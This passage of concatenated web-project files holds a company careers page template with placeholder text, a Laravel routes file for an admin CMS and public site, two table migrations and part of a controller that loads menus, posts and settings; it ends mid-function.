<li><div class="tab-wrap"><div class="tab-li quality-tab"><span><i class="fa fa-image"></i></span>QUALITY<br> ANALYST</div><div class="overlay"><img src="images/iphone-tab-img.jpg" alt="img"/></div></div></li>
</ul>
<div class="resp-tabs-container tabs-custom-body-outer hor_1">
<div class="ds-tabs-inner php-tab">
<ul class="job-cat-1">
<li class="col-md-4 col-sm-4 col-xs-6">
<h3>Job Title:</h3>
<p>Php Team Lead</p>
</li>
<li class="col-md-4 col-sm-4 col-xs-6">
<h3>Job CATEGORY:</h3>
<p>Php</p>
</li>
<li class="col-md-4 col-sm-4 col-xs-6 exp-required">
<h3>EXPERIENCE REQUIRED:</h3>
<p><sup>4+</sup> Years</p>
</li>
<li class="col-md-4 col-sm-4 col-xs-6">
<h3>JOB LOCATION:</h3>
<p>Mohali</p>
</li>
<li class="col-md-4 col-sm-4 col-xs-6">
<h3>Job SUMMARY:</h3>
<p>Web Application Developement</p>
</li>
<li class="col-md-4 col-sm-4 col-xs-6">
<h3>Professional Education</h3>
<p>MTech/BTech/MCA/BCA/ MSc.(IT)/BSc (IT)</p>
</li>
<li class="col-md-12 col-sm-12 col-xs-12">
<h3>SKILLS REQUIRED:</h3>
<ul>
<li>Managed a team of 4 – 5 members.</li>
<li>Experience of Client Handling</li>
<li>Experience of object oriented programming/modular programming (essential).</li>
<li>Person should be good in logical and conceptual coding.</li>
<li>Candidate should have working knowledge of frameworks like Cake PHP, Codeigniter, Zend, Yii.</li>
<li>Candidate must have hands on experience in CMS like Joomla, Wordpress, Drupal, Magento, Concrete5,Typo3 etc.</li>
<li>Should be expert in logical API's and third party integration..</li>
<li>Should have good knowledge in CSS, Javascript, AJAX, HTML, XHTML, XML..</li>
<li>Candidate should have a good understanding of browser compatibility issues.</li>
</ul>
</li>
</ul>
<div class="ds-first-btn-outer"> <a href="#">Apply Now!</a> </div>
</div>
<div class="ds-tabs-inner dot-net-tab">
<h3>DOT NET DEVELOPEMENT</h3>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident</p>
</div>
<div class="ds-tabs-inner mobile-tab">
<h3>MOBILE DEVELOPEMENT</h3>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident</p>
</div>
<div class="ds-tabs-inner internet-tab">
<h3>INTERNET MARKETING</h3>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident</p>
</div>
<div class="ds-tabs-inner web-tab">
<h3>WEB DESIGNING</h3>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident</p>
</div>
<div class="ds-tabs-inner business-tab">
<h3>BUSINESS DEVELOPEMENT</h3>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident</p>
</div>
<div class="ds-tabs-inner quality-tab">
<h3>QUALITY ANALYST</h3>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident</p>
</div>
</div>
</div>
</div>
</section>
<!-- Job Opening END-->
<!-- testimonal section start -->
<section class="ds-testimonal-section">
<div class="ds-testimonal-hdd">
<div class="container">
<div class="row">
<div class="col-xs-12 col-sm-12 col-md-12">
<div class="about-testimonal-outr">
<div class="testimonal-icon">
<div class="testi-icon-box"><i class="fa fa-quote-left" aria-hidden="true"></i></div>
</div>
<div id="owl-demo" class="owl-carousel owl-theme">
<div class="item">
<div class="about-inner-bx-outer">
<h3><NAME></h3>
<p> Morbi accumsan ipsum velit. Nam nec tellus a odio tincidunt auctor a ornare odio. Sed non mauris vitae erat consequat auctor eu in elit. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Mauris in erat justo. </p>
</div>
</div>
<div class="item">
<div class="about-inner-bx-outer">
<h3><NAME> 1</h3>
<p> Morbi accumsan ipsum velit. Nam nec tellus a odio tincidunt auctor a ornare odio. Sed non mauris vitae erat consequat auctor eu in elit. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Mauris in erat justo. </p>
</div>
</div>
<div class="item">
<div class="about-inner-bx-outer">
<h3><NAME> 2</h3>
<p> Morbi accumsan ipsum velit. Nam nec tellus a odio tincidunt auctor a ornare odio. Sed non mauris vitae erat consequat auctor eu in elit. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Mauris in erat justo. </p>
</div>
</div>
<div class="item">
<div class="about-inner-bx-outer">
<h3><NAME></h3>
<p> Morbi accumsan ipsum velit. Nam nec tellus a odio tincidunt auctor a ornare odio. Sed non mauris vitae erat consequat auctor eu in elit. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Mauris in erat justo. </p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
<section class="ds-reach-out-section">
<div class="ds-reach-out-hdd">
<div class="container">
<div class="row">
<div class="col-xs-12 col-sm-12 col-md-12">
<div class="heading-two">
<h2><strong>Reach</strong> Out</h2>
</div>
<h5> We will be glad to <strong>hear from you. </strong></h5>
<a href="contact-us.html" class="click-btn">Click to Connect </a>
</div>
</div>
</div>
</div>
</section>
<div class="partners-outer">
<div class="container">
<ul>
<li><a href="#"><img src="images/partner-logo-1.png" alt="" /></a></li>
<li><a href="#"><img src="images/partner-logo-5.png" alt="" /></a></li>
<li><a href="#"><img src="images/partner-logo-2.png" alt="" /></a></li>
<li><a href="#"><img src="images/partner-logo-3.png" alt="" /></a></li>
<li><a href="#"><img src="images/partner-logo-4.png" alt="" /></a></li>
</ul>
</div>
</div>
<footer class="footer">
<div class="ds-first-footer-outer">
<div class="container">
<div class="row">
<div class="col-xs-6 col-sm-6 col-md-3 ftr-link-first">
<h4>WEB/APPLICATION DEVELOPMENT</h4>
<ul>
<li><a href="#">Web/Application Development</a></li>
<li><a href="service-web.html">Web Designing</a></li>
<li><a href="#">E-Business Solution</a></li>
<li><a href="#">Enterprise Solution</a></li>
<li><a href="#">Content Management System</a></li>
</ul>
</div>
<div class="col-xs-6 col-sm-6 col-md-3 ftr-link-second">
<h4>MOBILE DEVELOPMENT</h4>
<ul>
<li><a href="#">iPhone & iPad Applications</a></li>
<li><a href="#">Android & Tab Apps</a></li>
<li><a href="#">Hybrid Applications</a></li>
<li><a href="#">Windows Applications</a></li>
<li><a href="#">Web Applications</a></li>
<li><a href="#">PhoneGap</a></li>
</ul>
</div>
<div class="col-xs-6 col-sm-6 col-md-3 ftr-link-third">
<h4>DIGITAL MARKETING</h4>
<ul>
<li><a href="#">Content Creation</a></li>
<li><a href="#"> Social Media Marketing</a></li>
<li><a href="#">Pay per Click</a></li>
<li><a href="#"> Search Engine Optimization</a></li>
<li><a href="#"> Online Reputation Management</a></li>
<li><a href="#"> App Marketing</a></li>
</ul>
</div>
<div class="col-xs-6 col-sm-6 col-md-3 ftr-link-forth">
<h4>Others</h4>
<ul>
<li><a href="business-partner.html">Business Partner</a></li>
<li><a href="career.html">Career</a></li>
<li><a href="blog.html">Blog</a></li>
</ul>
<div class="ds-signup-newslter-outer">
<h4>Sign Up Our Newsletter</h4>
<div class="newsletter-inner">
<form>
<input type="email" required onblur="if(this.value=='')this.value='Enter Your Email';" onfocus="if(this.value=='Enter Your Email')this.value='';" value="Enter Your Email" name="email" />
<span class="newslter-submit"><i class="fa fa-arrow-right" aria-hidden="true"></i></span>
</form>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="ds-second-footer-outer">
<div class="container">
<div class="ds-footer-social-icons">
<ul>
<li class="ds-fb-icon"><a href="#"><i class="fa fa-facebook" aria-hidden="true"></i></a></li>
<li class="ds-twt-icon"><a href="#"><i class="fa fa-twitter" aria-hidden="true"></i></a></li>
<li class="ds-google-icon"><a href="#"><i class="fa fa-google-plus" aria-hidden="true"></i></a></li>
<li class="ds-link-icon"><a href="#"><i class="fa fa-linkedin" aria-hidden="true"></i></a></li>
</ul>
</div>
<p>© Copyright 2005-2015 <strong>Live Deftsoft Informatics</strong> (P) Ltd. All Rights Reserved.</p>
</div>
</div>
</footer>
<p id="back-top">
<a href="#top"><span><i class="fa fa-angle-up"></i></span></a>
</p>
<!-- jquery library -->
<script src="js/1.11.3.jquery.min.js"></script>
<!-- bootsrap defalt js -->
<script src="js/bootstrap.min.js"></script>
<!-- Responsive tabs js -->
<script src="js/ResponsiveTabs.js"></script>
<!-- owl carousel js -->
<script src="js/owl.carousel.js"></script>
<script>
$(document).ready(function() {
$('.banner-to-services').on('click', function(event) {
var target = $( $(this).attr('href') );
if( target.length ) {
event.preventDefault();
$('html, body').animate({
scrollTop: target.offset().top
}, 500);
}
});
//Horizontal Tab
$('#parentHorizontalTab').easyResponsiveTabs({
type: 'default', //Types: default, vertical, accordion
width: 'auto', //auto or any width like 600px
fit: true, // 100% fit in a container
tabidentify: 'hor_1', // The tab groups identifier
activate: function(event) { // Callback function if tab is switched
var $tab = $(this);
var $info = $('#nested-tabInfo');
var $name = $('span', $info);
$name.text($tab.text());
$info.show();
}
});
$('.owl-carousel').owlCarousel({
loop:true,
responsiveClass:true,
autoplay:true,
autoplayTimeout:3000,
autoplayHoverPause:true,
responsive:{
0:{
items:1,
nav:true
},
600:{
items:1,
nav:true
},
1000:{
items:1,
nav:true,
loop:true
}
}
});
$(".navbar-toggle").click(function(){
$(".navbar-collapse").toggleClass('in');
});
// hide #back-top first
$("#back-top").hide();
// fade in #back-top
$(function () {
$(window).scroll(function () {
if ($(this).scrollTop() > 100) {
$('#back-top').fadeIn();
} else {
$('#back-top').fadeOut();
}
});
// scroll body to 0px on click
$('#back-top a').click(function () {
$('body,html').animate({
scrollTop: 0
}, 800);
return false;
});
});
});
</script>
</body>
</html>
<file_sep><?php
/*
|--------------------------------------------------------------------------
| Application Routes
|--------------------------------------------------------------------------
|
| Here is where you can register all of the routes for an application.
| It's a breeze. Simply tell Laravel the URIs it should respond to
| and give it the controller to call when that URI is requested.
|
*/
//////////////////Admin Routes///////////////////////////
/* * *
* all Post or Ajax Urls
*/
Route::post('admin/login-check', 'loginController@doLogin');
Route::post('/admin/access-management', 'AdminController@accessManagement')->middleware('admin');
Route::post('admin/mange-pages-details', 'AdminController@managePagePostDetails')->middleware('admin');
Route::post('admin/mange-post-details', 'AdminController@managePostDetails')->middleware('admin');
Route::post('admin/add-pages-details', 'AdminController@addPageDetails')->middleware('admin');
Route::post('admin/add-post-details', 'AdminController@addPostDetails')->middleware('admin');
Route::post('admin/delete-page', 'AdminController@deletePost')->middleware('admin');
Route::post('admin/delete-users', 'AdminController@deleteUser')->middleware('admin');
Route::post('admin/custom_url_check', 'AdminController@customUrlCheck')->middleware('admin');
Route::post('admin/save-maintaince-mode', 'AdminController@updateMaintaniceMode');
Route::post('admin/update-password', 'AdminController@changePasswordData');
Route::post('admin/add-new-testimonial-data', 'AdminController@addNewTestinomialData');
Route::post('admin/edit-new-testimonial-data', 'AdminController@editTestinomialDetails')->middleware('admin');
Route::post('admin/delete-testimonial', 'AdminController@deleteTestinomial')->middleware('admin');
Route::post('admin/add-portfolio-form', 'AdminController@addNewPortfolioForm')->middleware('admin');
Route::post('/admin/edit-portfolio-form', 'AdminController@updatePortfolioDetails')->middleware('admin');
Route::post('/admin/add-blog-details', 'AdminController@addBlogData')->middleware('admin');
Route::post('/admin/edit-blog-details', 'AdminController@editBlogDataDetails')->middleware('admin');
Route::post('/admin/delete-blog', 'AdminController@deleteBlog')->middleware('admin');
Route::post('/admin/delete-contact-record', 'AdminController@deleteContactusRecord')->middleware('admin');
Route::post('/admin/delete-partner-record', 'AdminController@deletePartnerRecord')->middleware('admin');
Route::post('/admin/delete-portfolio-record', 'AdminController@deletePortfolioRecord')->middleware('admin');
Route::post('admin/add-job-details', 'AdminController@addJobDetails')->middleware('admin');
Route::post('/admin/edit-job-details', 'AdminController@editJobDetails')->middleware('admin');
Route::post('/admin/delete-job-record', 'AdminController@deleteJobRecord')->middleware('admin');
Route::post('/admin/update-jobapplication', 'AdminController@updateJobApplicationData')->middleware('admin');
Route::post('/admin/delete-application-record', 'AdminController@deleteApplicationRecord')->middleware('admin');
Route::post('admin/edit-header-menu-detail', 'AdminController@EditHeaderMenuDetail')->middleware('admin');
Route::post('admin/edit-footer-menu-detail', 'AdminController@EditFooterMenuDetail')->middleware('admin');
Route::post('admin/add-header-menu-detail', 'AdminController@addHeaderMenuDetail')->middleware('admin');
Route::post('admin/delete-header-menu', 'AdminController@deleteHeaderMenuRecord')->middleware('admin');
Route::post('admin/delete-footer-menu', 'AdminController@deleteFooterMenuRecord')->middleware('admin');
Route::post('admin/add-footer-menu-detail', 'AdminController@addFooterMenuDetail')->middleware('admin');
/* * *
* All Http get requests
*/
Route::get('admin/access-denied', 'AdminController@accessDenied');
Route::get('/admin', 'loginController@showLogin');
Route::get('/admin/login', 'loginController@showLogin');
Route::get('/admin/logout', 'loginController@logout');
Route::get('/admin/index', [
'middleware' => ['admin'],
'uses' => 'AdminController@home',
'acessModule' => ['superadmin', 'admin', 'others']
]);
Route::get('/admin/home', [
'middleware' => ['admin'],
'uses' => 'AdminController@home',
'roles' => ['superadmin', 'admin', 'others']
]);
Route::get('/admin/dashboard', [
'middleware' => ['role_check'],
'uses' => 'AdminController@home',
'roles' => ['superadmin', 'admin', 'others']
]);
Route::get('/admin/manage-users', [
'middleware' => ['admin', 'role_check'],
'uses' => 'AdminController@manageUsers',
'roles' => ['superadmin']
]);
Route::get('/admin/access-control', [
'middleware' => ['admin', 'role_check'],
'uses' => 'AdminController@accessControl',
'roles' => ['superadmin']
]);
Route::get('/admin/edit-profile', [
'middleware' => ['admin', 'role_check'],
'uses' => 'AdminController@editUser',
'roles' => ['superadmin']
]);
Route::get('/admin/manage-pages', [
'middleware' => ['admin', 'role_check'],
'uses' => 'AdminController@managePages',
'roles' => ['superadmin', 'admin']
]);
Route::get('/admin/manage-posts', [
'middleware' => ['admin', 'role_check'],
'uses' => 'AdminController@managePosts',
'roles' => ['superadmin', 'admin']
]);
Route::get('/admin/add-new-post', [
'middleware' => ['admin', 'role_check'],
'uses' => 'AdminController@addNewPost',
'roles' => ['superadmin', 'admin']
]);
Route::get('/admin/edit-page-posts/{id?}', [
'middleware' => ['admin', 'role_check'],
'uses' => 'AdminController@editPagesPostDetails',
'roles' => ['superadmin', 'admin']
]);
Route::get('/admin/edit-posts/{id?}', [
'middleware' => ['admin', 'role_check'],
'uses' => 'AdminController@editPostDetails',
'roles' => ['superadmin', 'admin']
]);
Route::get('admin/add-new-page', [
'middleware' => ['admin', 'role_check'],
'uses' => 'AdminController@addNewPagePost',
'roles' => ['superadmin', 'admin']
]);
Route::get('admin/change-password', [
'middleware' => ['admin'],
'uses' => 'AdminController@changePassword',
]);
Route::get('admin/manage-testimonial', [
'middleware' => ['admin', 'role_check'],
'uses' => 'AdminController@manageTestinomialList',
'roles' => ['superadmin', 'admin']
]);
Route::get('admin/add-new-blog', [
'middleware' => ['admin'],
'uses' => 'AdminController@addNewBlog',
]);
Route::get('admin/add-new-testimonial', [
'middleware' => ['admin', 'role_check'],
'uses' => 'AdminController@addNewTestinomial',
'roles' => ['superadmin', 'admin']
]);
Route::get('admin/manage-testimonial-detail/{id}', [
'middleware' => ['admin', 'role_check'],
'uses' => 'AdminController@manageTestinomialDetails',
'roles' => ['superadmin', 'admin']
]);
Route::get('admin/manage-blog', [
'middleware' => ['admin'],
'uses' => 'AdminController@manageBlog',
]);
Route::get('admin/manage-portfolio', [
'middleware' => ['admin', 'role_check'],
'uses' => 'AdminController@managePortfolio',
'roles' => ['superadmin', 'admin']
]);
Route::get('admin/add-new-portfolio', [
'middleware' => ['admin', 'role_check'],
'uses' => 'AdminController@addNewPortfolio',
'roles' => ['superadmin', 'admin']
]);
Route::get('/admin/edit-portfolio/{id?}', [
'middleware' => ['admin', 'role_check'],
'uses' => 'AdminController@editPortfolioDetails',
'roles' => ['superadmin', 'admin']
]);
Route::get('/admin/edit-blog/{id}', [
'middleware' => ['admin'],
'uses' => 'AdminController@editBlogData',
]);
Route::get('/admin/contact-us-records', [
'middleware' => ['admin'],
'uses' => 'AdminController@contactUsRecords',
]);
Route::get('/admin/business-partner-records', [
'middleware' => ['admin', 'role_check'],
'uses' => 'AdminController@businessPartnerRecords',
'roles' => ['superadmin', 'admin']
]);
Route::get('admin/add-job-vacancy', [
'middleware' => ['admin'],
'uses' => 'AdminController@AddJobVacancy',
]);
Route::get('admin/manage-jobs', [
'middleware' => ['admin'],
'uses' => 'AdminController@manageJobList',
]);
Route::get('/admin/edit-job/{id}', [
'middleware' => ['admin'],
'uses' => 'AdminController@editJobData',
]);
Route::get('/admin/manage-job-applications', [
'middleware' => ['admin'],
'uses' => 'AdminController@manageJobApplicaitonsRecords',
]);
Route::get('/admin/view-application-details/{id}', [
'middleware' => ['admin'],
'uses' => 'AdminController@ViewJobApplicationDetails',
]);
Route::get('admin/manage-header-menu', [
'middleware' => ['admin'],
'uses' => 'AdminController@manageHeaderMenu',
]);
Route::get('admin/manage-footer-menu', [
'middleware' => ['admin'],
'uses' => 'AdminController@manageFooterMenu',
]);
Route::get('admin/edit-header-menu/{id?}', [
'middleware' => ['admin'],
'uses' => 'AdminController@EditHeaderMenu',
]);
Route::get('admin/edit-footer-menu/{id?}', [
'middleware' => ['admin'],
'uses' => 'AdminController@EditFooterMenu',
]);
Route::get('admin/add-new-header-menu', [
'middleware' => ['admin'],
'uses' => 'AdminController@addNewHeaderMenu',
]);
Route::get('admin/add-new-footer-menu', [
'middleware' => ['admin'],
'uses' => 'AdminController@addNewFooterMenu',
]);
Route::match(['get', 'post'], '/admin/manage-user-detail/{id?}', 'AdminController@manageUserDetailBySlug')->middleware('admin');
Route::match(['get', 'post'], '/admin/add-new-user', 'AdminController@addNewUser')->middleware('admin');
Route::match(['get', 'post'], '/admin/check-email-exsit', 'AdminController@checkEmailExists')->middleware('admin');
Route::match(['get', 'post'], 'admin/system-setting', 'AdminController@systemSetting')->middleware('admin');
Route::match(['get', 'post'], 'admin/updateSetting/{id}', 'AdminController@manageSystemSetting')->middleware('admin');
Route::match(['get', 'post'], 'admin/mange-system-setting', 'AdminController@updateSystemSetting')->middleware('admin');
//////////////////Admin Routes///////////////////////////
//////////////////Front End Routes///////////////////////
Route::get('/', 'HomeController@index')->middleware('CheckMaintenance');
Route::get('/home', 'HomeController@index')->middleware('CheckMaintenance');
Route::get('/index', 'HomeController@index')->middleware('CheckMaintenance');
Route::get('/', 'HomeController@index')->middleware('CheckMaintenance');
Route::post('contact-us-submit', 'HomeController@submitContactUs')->middleware('CheckMaintenance');
Route::post('save-business-partner-details', 'HomeController@submitBusinessPartner')->middleware('CheckMaintenance');
Route::post('blog-filter', 'HomeController@blogFilter')->middleware('CheckMaintenance');
Route::get('maintenance-mode', 'HomeController@maintenanceMode')->middleware('CheckMaintenanceModeEnable');
Route::get('404-page', 'HomeController@pageNotFound');
Route::post('blog-filter-session', 'HomeController@blogFilterSession');
Route::post('blog-keyword-search-session', 'HomeController@blogKeywordSearchSession');
Route::post('job-application', 'HomeController@jobApplication');
Route::get('/{segment1}', 'HomeController@render')->middleware('CheckMaintenance');
Route::get('/{segment1}/{segment2}', 'HomeController@renderSubPart')->middleware('CheckMaintenance');
<file_sep><?php
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;
class CreateSystemSettingTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('tbl_system_setting', function (Blueprint $table) {
$table->increments('id');
$table->string('key');
$table->string('value');
$table->string('extra_info');
$table->string('setting_type');
$table->enum('status',['Active', 'Inactive'])->default('Inactive');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::drop('tbl_system_setting');
}
}
<file_sep><?php
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;
class CreateJobOpeningTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('tbl_job_opening', function (Blueprint $table) {
$table->increments('id');
$table->integer('category_id');
$table->string('job_title');
$table->string('exp_required');
$table->string('job_location');
$table->string('profession_exp');
$table->string('no_of_vacancy');
$table->mediumtext('job_summary');
$table->longtext('skills');
$table->enum('status',['Active', 'Inactive'])->default('Inactive');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::drop('tbl_job_opening');
}
}
<file_sep><?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use App\Http\Requests;
use DB;
use App\headerMenuModel;
use App\footerMenuModel;
use App\postModel;
use App\User;
use App\Blog;
use App\contactUsModel;
use App\portfolio;
use App\BlogCategories;
use App\clientTestimonial;
use App\systemSettingModel;
class parentController extends Controller {
public function __construct() {
}
/* * *
* Get Header menu
*/
public function getHeaderMenu() {
$headerFooterMenuData = headerMenuModel::where("status", "Active")
->where("parent_id", 0)
->orderBy("header_sort_index", "ASC")->limit(5)
->get()->toArray();
foreach ($headerFooterMenuData as $key => $val) {
$postDetail = headerMenuModel::find($val['id'])->getPostDetail;
$headerFooterMenuData[$key]["postDetail"] = $postDetail;
$headerFooterMenuParentData = headerMenuModel::where("status", "Active")
->where("parent_id", $val["id"])
->orderBy("header_sort_index", "ASC")
->get()->toArray();
$resultArray = array();
foreach ($headerFooterMenuParentData as $key1 => $val1) {
$resultArray[$key1] = $val1;
$postDetail1 = headerMenuModel::find($val1['id'])->getPostDetail;
$resultArray[$key1]["postDetail"] = $postDetail1;
}
$headerFooterMenuData[$key]['submenu'] = $resultArray;
}
return $headerFooterMenuData;
}
/* * **
* Footer Sections
*/
public function getFooterSections() {
$sectionFirst = footerMenuModel::where("status", "Active")
->where("footer_section", "section1")
->orderBy("sort_index", "ASC")->limit(6)
->get()->toArray();
/* * *
* Get Parent Post
*/
$parentPost = postModel::find($sectionFirst[0]["post_id"]);
$parentPost2 = postModel::find($parentPost->parent_id);
foreach ($sectionFirst as $key1 => $val1) {
$postDetail1 = footerMenuModel::find($val1['id'])->getPostDetail;
$sectionFirst[$key1]["postDetail"] = $postDetail1;
$sectionFirst[$key1]["parentPostDetail"] = $parentPost2;
$postData = postModel::find($val1["portfolio_post_id"]);
$portfolio_link = '';
if (count($postData) > 0) {
$portfolio_link = !empty($postData->custom_slug) ? $postData->custom_slug : $postData->post_slug;
}
$sectionFirst[$key1]['portfolio_link'] = "portfolio/" . $portfolio_link;
}
// echo "<pre>";
// print_r($sectionFirst);
// die;
$sectionSecond = footerMenuModel::where("status", "Active")
->where("footer_section", "section2")
->orderBy("sort_index", "ASC")->limit(6)
->get()->toArray();
/* * *
* Get Parent Post
*/
$parentPost = postModel::find($sectionSecond[0]["post_id"]);
$parentPost2 = postModel::find($parentPost->parent_id);
foreach ($sectionSecond as $key1 => $val2) {
$postDetail1 = footerMenuModel::find($val2['id'])->getPostDetail;
$sectionSecond[$key1]["postDetail"] = $postDetail1;
$sectionSecond[$key1]["parentPostDetail"] = $parentPost2;
$postData = postModel::find($val2["portfolio_post_id"]);
$portfolio_link = '';
if (count($postData) > 0) {
$portfolio_link = !empty($postData->custom_slug) ? $postData->custom_slug : $postData->post_slug;
}
$sectionSecond[$key1]['portfolio_link'] = "portfolio/" . $portfolio_link;
}
$sectionThird = footerMenuModel::where("status", "Active")
->where("footer_section", "section3")
->orderBy("sort_index", "ASC")->limit(6)
->get()->toArray();
/* * *
* Get Parent Post
*/
$parentPost = postModel::find($sectionThird[0]["post_id"]);
$parentPost2 = postModel::find($parentPost->parent_id);
foreach ($sectionThird as $key1 => $val3) {
$postDetail1 = footerMenuModel::find($val3['id'])->getPostDetail;
$sectionThird[$key1]["postDetail"] = $postDetail1;
$sectionThird[$key1]["parentPostDetail"] = $parentPost2;
$postData = postModel::find($val3["portfolio_post_id"]);
$portfolio_link = '';
if (count($postData) > 0) {
$portfolio_link = !empty($postData->custom_slug) ? $postData->custom_slug : $postData->post_slug;
}
$sectionThird[$key1]['portfolio_link'] = "portfolio/" . $portfolio_link;
}
// echo "<pre>";
// print_r($sectionThird);
// die;
$sectionFourth = footerMenuModel::where("status", "Active")
->where("footer_section", "section4")
->orderBy("sort_index", "ASC")->limit(6)
->get()->toArray();
foreach ($sectionFourth as $key1 => $val4) {
$postDetail1 = footerMenuModel::find($val4['id'])->getPostDetail;
$sectionFourth[$key1]["postDetail"] = $postDetail1;
}
$menuArray = array("first_section" => $sectionFirst,
"second_section" => $sectionSecond,
"third_section" => $sectionThird,
"fourth_section" => $sectionFourth);
return $menuArray;
}
/* * *
* Get partner posts
*/
public function getPartners() {
$limit = 5;
$data = $this->getPosts("partner", $limit);
return $data;
}
/* * *
* Get system config
*/
public function getSystemConfig() {
$systemResult = systemSettingModel::where("status", "active")->get();
$systemData = array();
foreach ($systemResult as $key => $val) {
$systemData[$val->key] = array("value" => $val->value, "image" => $val->extra_info);
}
return $systemData;
}
/* * *
* Get Default Services
*
*/
public function getDefaultServices() {
$limit = 4;
$serviceData = $this->getPosts("service", $limit);
foreach ($serviceData as $key => $val) {
$postDetail1 = postModel::find($val->id)->getPostMeta;
$postData = array();
foreach ($postDetail1 as $key1 => $val1) {
$postData[$val1['post_key']] = array("value" => $val1['post_value'], 'postmeta_type' => $val1['postmeta_type']);
}
$serviceData[$key]->postDetail = $postData;
}
return $serviceData;
}
/* * **
* get our work post
*/
public function getOurWorkPost() {
$data = $this->getPosts("ourwork");
foreach ($data as $key => $val) {
$postDetail1 = postModel::find($val->id)->getPostMeta;
$postData = array();
foreach ($postDetail1 as $key1 => $val1) {
$postData[$val1['post_key']] = array("value" => $val1['post_value'], 'postmeta_type' => $val1['postmeta_type']);
}
$data[$key]->postDetail = $postData;
}
return $data;
}
/* * *
* Get Portfolio Categories
*/
public function getPortfoilioCategories() {
$data = $this->getPosts("portfolio-category");
foreach ($data as $key => $val) {
$postDetail1 = postModel::find($val->id)->getPostMeta;
$postData = array();
foreach ($postDetail1 as $key1 => $val1) {
$postData[$val1['post_key']] = array("value" => $val1['post_value'], 'postmeta_type' => $val1['postmeta_type']);
}
$data[$key]->postDetail = $postData;
}
return $data;
}
/* * ***
* Get Client Logos
* *
*/
public function getBlogs() {
$limit = 4;
$data = $this->getPosts("blog", $limit);
foreach ($data as $key => $val) {
$postDetail1 = postModel::find($val->id)->getPostMeta;
$postData = array();
foreach ($postDetail1 as $key1 => $val1) {
$postData[$val1['post_key']] = array("value" => $val1['post_value'], 'postmeta_type' => $val1['postmeta_type']);
}
$data[$key]->postDetail = $postData;
}
return $data;
}
/* * ***
* Get Client Logos
* *
*/
public function getClientLogos() {
$limit = 6;
$data = $this->getPosts("client-logo", $limit);
foreach ($data as $key => $val) {
$postDetail1 = postModel::find($val->id)->getPostMeta;
$postData = array();
foreach ($postDetail1 as $key1 => $val1) {
$postData[$val1['post_key']] = array("value" => $val1['post_value'], 'postmeta_type' => $val1['postmeta_type']);
}
$data[$key]->postDetail = $postData;
}
return $data;
}
/* * ***
* Get Client Video
* *
*/
public function getVideoTestimonial() {
$limit = 1;
$data = $this->getPosts("video-testimonial", $limit);
foreach ($data as $key => $val) {
$postDetail1 = postModel::find($val->id)->getPostMeta;
$postData = array();
foreach ($postDetail1 as $key1 => $val1) {
$postData[$val1['post_key']] = array("value" => $val1['post_value'], 'postmeta_type' => $val1['postmeta_type']);
}
$data[$key]->postDetail = $postData;
}
return $data;
}
/* * *
* function to get posts
*/
public function getPosts($post_type = '', $limit = 0, $userinfo = '') {
$andConditions = array("status" => "active");
if ($post_type != '') {
$andConditions["post_type"] = $post_type;
}
$data = postModel::where($andConditions)
->when($limit, function ($query) use ($limit) {
if ($limit > 0) {
return $query->limit($limit);
}
})
->get();
/* * *
* user info
*/
if ($userinfo != '') {
foreach ($data as $key => $val) {
$userDetail = postModel::find($val->id)->UserInfo;
$data[$key]->userDetail = $userDetail;
if (isset($val->updated_by) && !empty($val->updated_by)) {
$updateByUserDetail = postModel::find($val->updated_by)->UserInfo;
$data[$key]->updateByUserDetail = $updateByUserDetail;
}
}
}
return $data;
}
/* * **
* Get Post Details
*
*/
public function getPostDetailBySlug($slug = 'home', $post_type = '') {
$andConditions = array("status" => "active", "post_slug" => $slug);
if ($post_type != '') {
